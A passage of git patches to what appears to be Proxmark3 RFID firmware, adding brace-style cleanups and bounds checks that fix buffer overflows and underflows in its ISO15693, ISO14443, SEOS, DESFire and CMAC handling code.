Dbprintf("WriteAFI cmd"); + } + if (tag->afiLock) { error = ISO15_ERROR_BLOCK_LOCKED; + } else { tag->afi = cmd[cmdCpt++]; recv[0] = ISO15_NOERROR; @@ -2454,9 +2544,12 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { } break; case ISO15693_LOCK_AFI: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("LockAFI cmd"); - if (tag->afiLock) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("LockAFI cmd"); + } + if (tag->afiLock) { error = ISO15_ERROR_BLOCK_LOCKED_ALREADY; + } else { tag->afiLock = true; recv[0] = ISO15_NOERROR; @@ -2464,9 +2557,12 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { } break; case ISO15693_WRITE_DSFID: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("WriteDSFID cmd"); - if (tag->dsfidLock) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("WriteDSFID cmd"); + } + if (tag->dsfidLock) { error = ISO15_ERROR_BLOCK_LOCKED; + } else { tag->dsfid = cmd[cmdCpt++]; recv[0] = ISO15_NOERROR; @@ -2474,9 +2570,12 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { } break; case ISO15693_LOCK_DSFID: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("LockDSFID cmd"); - if (tag->dsfidLock) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("LockDSFID cmd"); + } + if (tag->dsfidLock) { error = ISO15_ERROR_BLOCK_LOCKED_ALREADY; + } else { tag->dsfidLock = true; recv[0] = ISO15_NOERROR; @@ -2484,19 +2583,25 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { } break; case ISO15693_SELECT: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("Select cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("Select cmd"); + } tag->state = TAG_STATE_SELECTED; recv[0] = ISO15_NOERROR; recvLen = 1; break; case ISO15693_RESET_TO_READY: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("ResetToReady cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("ResetToReady cmd"); + } tag->state = TAG_STATE_READY; recv[0] = ISO15_NOERROR; recvLen = 1; break; case ISO15693_GET_SYSTEM_INFO: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("GetSystemInfo cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("GetSystemInfo cmd"); + } recv[0] = ISO15_NOERROR; recv[1] = 0x0f; // sysinfo contain all info memcpy(&recv[2], tag->uid, 8); @@ -2508,20 +2613,26 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { recvLen = 15; break; case ISO15693_READ_MULTI_SECSTATUS: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("ReadMultiSecStatus cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("ReadMultiSecStatus cmd"); + } pageNum = cmd[cmdCpt++]; nbPages = cmd[cmdCpt++]; - if (pageNum + nbPages >= tag->pagesCount) + if (pageNum + nbPages >= tag->pagesCount) { error = ISO15_ERROR_BLOCK_UNAVAILABLE; + } else { recv[0] = ISO15_NOERROR; recvLen = 1; - for (uint8_t i = 0 ; i < nbPages + 1 ; i++) + for (uint8_t i = 0 ; i < nbPages + 1 ; i++) { recv[recvLen++] = tag->locks[pageNum + i]; + } } break; case ISO15693_GET_RANDOM_NUMBER: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("GetRandomNumber cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("GetRandomNumber cmd"); + } tag->random[0] = (uint8_t)(reader_eof_time) ^ 0xFF; // poor random number tag->random[1] = (uint8_t)(reader_eof_time >> 8) ^ 0xFF; recv[0] = ISO15_NOERROR; @@ -2530,9 +2641,12 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { recvLen = 3; break; case ISO15693_SET_PASSWORD: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("SetPassword cmd"); - if (cmd_len > cmdCpt + 5) + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("SetPassword cmd"); + } + if (cmd_len > cmdCpt + 5) { cmdCpt++; // skip manifacturer code + } if (cmd_len > cmdCpt + 4) { pwdId = cmd[cmdCpt++]; if (pwdId == 4) { // Privacy password @@ -2546,15 +2660,18 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { recvLen = 1; break; case ISO15693_ENABLE_PRIVACY: - if (g_dbglevel >= DBG_DEBUG) Dbprintf("EnablePrivacy cmd"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("EnablePrivacy cmd"); + } // not realy entering privacy mode // just return NOERROR recv[0] = ISO15_NOERROR; recvLen = 1; break; default: - if (g_dbglevel >= DBG_DEBUG) + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("ISO15693 CMD 0x%2X not supported", cmd[1]); + } error = ISO15_ERROR_CMD_NOT_SUP; break; @@ -2565,8 +2682,9 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { recv[1] = error; recvLen = 2; error = 0; - if (g_dbglevel >= DBG_DEBUG) + if (g_dbglevel >= DBG_DEBUG) { Dbprintf("ERROR 0x%2X in received request", error); + } } } @@ -2578,10 +2696,13 @@ void SimTagIso15693(const uint8_t *uid, uint8_t block_size) { uint32_t response_time = reader_eof_time + DELAY_ISO15693_VCD_TO_VICC_SIM; if (tag->expectFsk) { // Not suppoted yet - if (g_dbglevel >= DBG_DEBUG) Dbprintf("%ERROR: FSK answers are not supported yet"); + if (g_dbglevel >= DBG_DEBUG) { + Dbprintf("%ERROR: FSK answers are not supported yet"); + } //TransmitTo15693ReaderFSK(ts->buf,ts->max, &response_time, 0, !tag->expectFast); - } else + } else { TransmitTo15693Reader(ts->buf, ts->max, &response_time, 0, !tag->expectFast); + } LogTrace_ISO15693(recv, recvLen, response_time * 32, (response_time * 32) + (ts->max * 32 * 64), NULL, false); } @@ -2808,7 +2929,7 @@ void LockPassSlixIso15693(uint32_t pass_id, uint32_t password) { continue; } - if (done) [ + if (done) { break; } @@ -3187,10 +3308,12 @@ static uint32_t pass_protect_EASAFI_15693_Slix(uint32_t start_time, uint32_t *eo uint8_t flags; - if (set_option_flag) + if (set_option_flag) { flags = ISO15_REQ_DATARATE_HIGH | ISO15_REQ_OPTION; - else + } + else { flags = ISO15_REQ_DATARATE_HIGH; + } uint8_t uid[8]; @@ -3299,14 +3422,17 @@ void ProtectPageSlixIso15693(const uint8_t *read_password, const uint8_t *write_ return; } - if (read_password) + if (read_password) { res = set_pass_15693_SlixRnd(start_time, &eof_time, 0x01, read_password, uid, rnd); + } - if (res == PM3_SUCCESS && write_password) + if (res == PM3_SUCCESS && write_password) { res = set_pass_15693_SlixRnd(start_time, &eof_time, 0x02, write_password, uid, rnd); + } - if (res == PM3_SUCCESS) + if (res == PM3_SUCCESS) { res = protect_page_15693_Slix(start_time, &eof_time, divide_ptr, prot_status, uid); + } reply_ng(CMD_HF_ISO15693_SLIX_PROTECT_PAGE, res, NULL, 0); From f1b7ad4a5641a597afe8fc5233025a4c5a49c740 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 11:44:18 +0700 Subject: [PATCH 153/162] add sanity check --- armsrc/iso14443a.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 4b91293e5..f2c371955 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -4596,6 +4596,14 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid, int received_aid_len = receivedCmd[5 + offset]; uint8_t *received_aid = &receivedCmd[6 + offset]; + // Validate claimed AID length against actual received frame length + if ((6 + offset + received_aid_len) > len) { + dynamic_response_info.response[1 + offset] = 0x6A; + dynamic_response_info.response[2 + offset] = 0x80; // Wrong data + dynamic_response_info.response_n = 3 + offset; + break; + } + // aid enumeration flag if ((flags & FLAG_ENUMERATE_AID) == FLAG_ENUMERATE_AID) { Dbprintf("Received AID (%d):", received_aid_len); From f8d3841d3e49d906e3b1062e2e508c43dc7b6f6f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 11:58:04 +0700 Subject: [PATCH 154/162] fix hf 14a simaid on device side, with correct bytes to copy --- armsrc/iso14443a.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index f2c371955..5b150c00b 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -4612,8 +4612,8 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid, if ((received_aid_len == aid_len) && (memcmp(aid, received_aid, aid_len) == 0)) { // Evaluate the AID sent by the Reader to the AID supplied // AID Response will be parsed here - memcpy(dynamic_response_info.response + 1 + offset, selectaid_response, selectaid_response_len + 1 + offset); - dynamic_response_info.response_n = selectaid_response_len + 2; + memcpy(dynamic_response_info.response + 1 + offset, selectaid_response, selectaid_response_len); + dynamic_response_info.response_n = selectaid_response_len + 1 + offset; } else { // Any other SELECT FILE command will return with a Not Found dynamic_response_info.response[1 + offset] = 0x6A; dynamic_response_info.response[2 + offset] = 0x82; @@ -4634,7 +4634,7 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid, if (sentCount == 0) { // APDU Command will just be parsed here memcpy(dynamic_response_info.response + 1 + offset, getdata_response, getdata_response_len + 2); - dynamic_response_info.response_n = selectaid_response_len + 1 + offset; + dynamic_response_info.response_n = getdata_response_len + 1 + offset; } else { finished = true; break; From 0cde6ee07596457e4ced10cf0a08c43d8b380031 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 12:55:11 +0700 Subject: [PATCH 155/162] fix possible overflow copy --- armsrc/iso14443a.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 5b150c00b..ba67cb144 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -4633,7 +4633,7 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *uid, case 0xCA: { // GET DATA if (sentCount == 0) { // APDU Command will just be parsed here - memcpy(dynamic_response_info.response + 1 + offset, getdata_response, getdata_response_len + 2); + memcpy(dynamic_response_info.response + 1 + offset, getdata_response, getdata_response_len); dynamic_response_info.response_n = getdata_response_len + 1 + offset; } else { finished = true; From 98552b54dc6087043694be0cc755d4d80eb8a180 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 12:56:26 +0700 Subject: [PATCH 156/162] fix mac_input_idx to possible overflow u8, and some sanity checks that what we got doesnt overflow when we copy it into cmac calcs --- armsrc/seos.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/armsrc/seos.c b/armsrc/seos.c index 27b1932a4..520cf6d65 100644 --- a/armsrc/seos.c +++ b/armsrc/seos.c @@ -276,6 +276,7 @@ void SimulateSeos(seos_emulate_req_t *msg) { if (odd_reply) { p_response = &responses[RESP_INDEX_ATQA]; } + } else if (receivedCmd[0] == ISO14443A_CMD_WUPA && len == 1) { // Received a WAKEUP p_response = &responses[RESP_INDEX_ATQA]; } else if (receivedCmd[1] == 0x20 && receivedCmd[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT && len == 2) { // Received request for UID (cascade 1) @@ -301,6 +302,7 @@ void SimulateSeos(seos_emulate_req_t *msg) { p_response = &responses[RESP_INDEX_ATS]; got_rats = true; } else { + // clear old dynamic responses dynamic_response_info.response_n = 0; dynamic_response_info.modulation_n = 0; @@ -656,13 +658,17 @@ void SimulateSeos(seos_emulate_req_t *msg) { memcpy(rndCounter, RND_ICC, half_bs); memcpy(rndCounter + half_bs, RND_IFD, half_bs); + // skip zero bytes for (int8_t i = bs - 1; i >= 0; i--) { rndCounter[i]++; - if (rndCounter[i] != 0x00) break; + + if (rndCounter[i]) { + break; + } } uint8_t *mac_input = work_buffer_a; - uint8_t mac_input_idx = 0; + uint16_t mac_input_idx = 0; // Add RND_* counter to mac_input memcpy(mac_input + mac_input_idx, rndCounter, bs); @@ -676,6 +682,10 @@ void SimulateSeos(seos_emulate_req_t *msg) { mac_input_idx += bs; // Add received TLV data to mac_input + if (mac_input_idx + recvd_cmac_offset + bs > WORK_BUFFER_SIZE) { + Dbprintf(_RED_("Get Data failed") ": CMAC input too large."); + break; + } memcpy(mac_input + mac_input_idx, received_tlv, recvd_cmac_offset); mac_input_idx += recvd_cmac_offset; @@ -770,6 +780,10 @@ void SimulateSeos(seos_emulate_req_t *msg) { memcpy(mac_input + mac_input_idx, rndCounter, bs); mac_input_idx += bs; + if (mac_input_idx + (tlv_idx - tlv_base) + bs > WORK_BUFFER_SIZE) { + Dbprintf(_RED_("Get Data failed") ": Reply CMAC input too large."); + break; + } memcpy(mac_input + mac_input_idx, dynamic_response_info.response + tlv_base, tlv_idx - tlv_base); mac_input_idx += tlv_idx - tlv_base; From 46ebcb92906514bf3573453b21f28015c3aedac8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 13:31:51 +0700 Subject: [PATCH 157/162] fix a chain of calls, where MifareSendCommand uses a 64 byte array and DesfireAPDU uses a memcpy up to 256 bytes --- armsrc/mifaredesfire.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/armsrc/mifaredesfire.c b/armsrc/mifaredesfire.c index 736fc1517..64dd6c317 100644 --- a/armsrc/mifaredesfire.c +++ b/armsrc/mifaredesfire.c @@ -81,7 +81,7 @@ void MifareSendCommand(uint8_t *datain) { } PACKED; struct p *payload = (struct p *) datain; - uint8_t resp[RECEIVE_SIZE]; + uint8_t resp[MAX_FRAME_SIZE]; memset(resp, 0, sizeof(resp)); if (g_dbglevel >= DBG_EXTENDED) { @@ -94,7 +94,7 @@ void MifareSendCommand(uint8_t *datain) { clear_trace(); if (payload->flags & INIT) { - if (!InitDesfireCard()) { + if (InitDesfireCard() == false) { return; } } @@ -103,7 +103,7 @@ void MifareSendCommand(uint8_t *datain) { if (g_dbglevel >= DBG_EXTENDED) print_result("RESP <--: ", resp, len); - if (!len) { + if (len == 0) { OnError(2); return; } @@ -697,7 +697,9 @@ int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout) { len = ReaderReceive(resp, sizeof(resp), par); if (len == 0) { - if (g_dbglevel >= DBG_EXTENDED) Dbprintf("fukked"); + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("Error: data link failed"); + } return false; //DATA LINK ERROR } From 0d63e53a770f14b3e662c2630fc0de64ec808e4f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 13:52:13 +0700 Subject: [PATCH 158/162] apply sanity checks for "smart upload" --- armsrc/appmain.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 0f9832fb5..97c7544ce 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -2443,6 +2443,15 @@ static void PacketReceived(PacketCommandNG *packet) { } PACKED; struct p *payload = (struct p *) packet->data.asBytes; uint8_t *mem = BigBuf_get_addr(); + + // sanity checks + if (payload->bytes_in_packet > sizeof(payload->data) || + payload->idx > BigBuf_get_size() || + payload->idx + payload->bytes_in_packet > BigBuf_get_size()) { + reply_ng(CMD_SMART_UPLOAD, PM3_EOVFLOW, NULL, 0); + break; + } + memcpy(mem + payload->idx, payload->data, payload->bytes_in_packet); uint8_t a = 0, b = 0; From c62b9e0480372c4c42986df1450f139e0ebb6a55 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 14:21:09 +0700 Subject: [PATCH 159/162] add guard for size_t underflow --- armsrc/desfire_crypto.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/armsrc/desfire_crypto.c b/armsrc/desfire_crypto.c index b27d19595..afe66345e 100644 --- a/armsrc/desfire_crypto.c +++ b/armsrc/desfire_crypto.c @@ -600,6 +600,15 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes if ((communication_settings & MAC_VERIFY) == MAC_VERIFY) { + if (*nbytes < key_macing_length(key)) { + *nbytes = -1; + res = NULL; +#ifdef WITH_DEBUG + Dbprintf("No room for MAC!"); +#endif + break; + } + *nbytes -= key_macing_length(key); if (*nbytes == 0) { From 90b4c8fe6def048d4f6c0a29ab2265168ce4bb8e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 14:21:54 +0700 Subject: [PATCH 160/162] add gaurd --- armsrc/cmac_calc.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/armsrc/cmac_calc.c b/armsrc/cmac_calc.c index f10a2af01..19bb780b2 100644 --- a/armsrc/cmac_calc.c +++ b/armsrc/cmac_calc.c @@ -161,8 +161,17 @@ void ulaes_cmac8(uint8_t *cmac, uint8_t *mac) { } void append_cmac(uint8_t *d, size_t n) { + + // sanity check + if (n > PM3_CMD_DATA_SIZE) { + return; + } + uint8_t mac[16] = {0}; + uint8_t cmd_mac[2 + n]; + memset(cmd_mac, 0, sizeof(cmd_mac)); + cmd_mac[0] = g_secure_session.counter & 0xFF; cmd_mac[1] = (g_secure_session.counter >> 8) & 0xFF; memcpy(cmd_mac + 2, d, n); @@ -177,19 +186,30 @@ void append_cmac(uint8_t *d, size_t n) { } int verify_cmac(uint8_t *d, size_t n, bool verify_crc) { + + // sanity check + if (n > PM3_CMD_DATA_SIZE) { + return PM3_EOVFLOW; + } + // n = data size without cmac and without crc uint8_t chk_d[n + ULAES_CMAC8_SIZE + 2]; memcpy(chk_d, d, n); memset(chk_d + n, 0, sizeof(chk_d) - n); + append_cmac(chk_d, n); + if (memcmp(chk_d + n, d + n, ULAES_CMAC8_SIZE) != 0) { if (g_dbglevel >= DBG_ERROR) { Dbprintf("CMAC response error."); } return PM3_ECRC; } + if (verify_crc) { + AddCrc14A(chk_d, n + ULAES_CMAC8_SIZE); + if (memcmp(chk_d + n + ULAES_CMAC8_SIZE, d + n + ULAES_CMAC8_SIZE, 2) != 0) { if (g_dbglevel >= DBG_ERROR) { Dbprintf("CRC response error."); From 7f09f556d61b2b3bef1ce933d74e4c2b0880598b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 14:22:28 +0700 Subject: [PATCH 161/162] limit len correctly now --- armsrc/mifaredesfire.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/armsrc/mifaredesfire.c b/armsrc/mifaredesfire.c index 64dd6c317..2ccc12fb2 100644 --- a/armsrc/mifaredesfire.c +++ b/armsrc/mifaredesfire.c @@ -727,12 +727,15 @@ size_t CreateAPDU(uint8_t *datain, size_t len, uint8_t *dataout) { cmd[0] = 0x02; // 0x0A = send cid, 0x02 = no cid. cmd[0] |= pcb_blocknum; // OR the block number into the PCB - if (g_dbglevel >= DBG_EXTENDED) Dbprintf("pcb_blocknum %d == %d ", pcb_blocknum, cmd[0]); + if (g_dbglevel >= DBG_EXTENDED) { + Dbprintf("pcb_blocknum %d == %d ", pcb_blocknum, cmd[0]); + } //cmd[1] = 0x90; // CID: 0x00 //TODO: allow multiple selected cards - memcpy(cmd + 1, datain, len); - AddCrc14A(cmd, len + 1); + // bytes that actually fit; may be less than len + memcpy(cmd + 1, datain, cmdlen - 3); + AddCrc14A(cmd, cmdlen - 3 + 1); /* hf 14a apdu -sk 90 60 00 00 00 From bff9b9c37a1e12f29d8200619ef1dc29113dcc45 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Mar 2026 17:33:09 +0700 Subject: [PATCH 162/162] added sanity check for too large length, and reworked the arrays in "hf 14b raw". It now uses 512b instead of 1024b ram :) Which is better for the stack --- armsrc/iso14443b.c | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 1c3d01f7c..4f61912df 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1643,7 +1643,11 @@ void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_ */ int iso14443b_apdu(uint8_t const *msg, size_t msg_len, bool send_chaining, void *rxdata, uint16_t rxmaxlen, uint8_t *response_byte, uint16_t *responselen) { - uint8_t real_cmd[msg_len + 4]; + if (msg_len > PM3_CMD_DATA_SIZE) { + return PM3_EINVARG; + } + + uint8_t real_cmd[PM3_CMD_DATA_SIZE + 4]; if (msg_len) { // ISO 14443 APDU frame: PCB [CID] [NAD] APDU CRC PCB=0x02 @@ -3096,8 +3100,10 @@ void SendRawCommand14443B(iso14b_raw_cmd_t *p) { set_tracing(true); - // receive buffer - uint8_t buf[PM3_CMD_DATA_SIZE] = {0x00}; + // receive buffer — sized for APDU response header + max payload, reused for all paths + uint8_t buf[sizeof(iso14b_raw_apdu_response_t) + PM3_CMD_DATA_SIZE]; + memset(buf, 0, sizeof(buf)); + iso14b_raw_apdu_response_t *payload = (iso14b_raw_apdu_response_t *)buf; int status = 0; uint32_t sendlen = sizeof(iso14b_card_select_t); @@ -3159,17 +3165,14 @@ void SendRawCommand14443B(iso14b_raw_cmd_t *p) { uint16_t responselen = 0; uint8_t response_byte = 0; bool chaining = ((p->flags & ISO14B_SEND_CHAINING) == ISO14B_SEND_CHAINING); - status = iso14443b_apdu(p->raw, p->rawlen, chaining, buf, sizeof(buf), &response_byte, &responselen); + status = iso14443b_apdu(p->raw, p->rawlen, chaining, payload->data, PM3_CMD_DATA_SIZE, &response_byte, &responselen); if (tearoff_hook() == PM3_ETEAROFF) { // tearoff occurred reply_ng(CMD_HF_ISO14443B_COMMAND, PM3_ETEAROFF, NULL, 0); } else { - uint8_t packet[responselen + 1 + 2]; - iso14b_raw_apdu_response_t *payload = (iso14b_raw_apdu_response_t *)packet; payload->response_byte = response_byte; payload->datalen = responselen; - memcpy(payload->data, buf, payload->datalen); - reply_ng(CMD_HF_ISO14443B_COMMAND, status, packet, sizeof(packet)); + reply_ng(CMD_HF_ISO14443B_COMMAND, status, buf, sizeof(iso14b_raw_apdu_response_t) + responselen); } } @@ -3198,7 +3201,7 @@ void SendRawCommand14443B(iso14b_raw_cmd_t *p) { eof_time += DELAY_ISO14443B_PCD_TO_PICC_READER; uint16_t retlen = 0; - status = Get14443bAnswerFromTag(buf, sizeof(buf), s_iso14b_timeout, &eof_time, &retlen); + status = Get14443bAnswerFromTag(buf, PM3_CMD_DATA_SIZE, s_iso14b_timeout, &eof_time, &retlen); if (status == PM3_SUCCESS) { sendlen = MIN(retlen, PM3_CMD_DATA_SIZE); reply_ng(CMD_HF_ISO14443B_COMMAND, status, Demod.output, sendlen);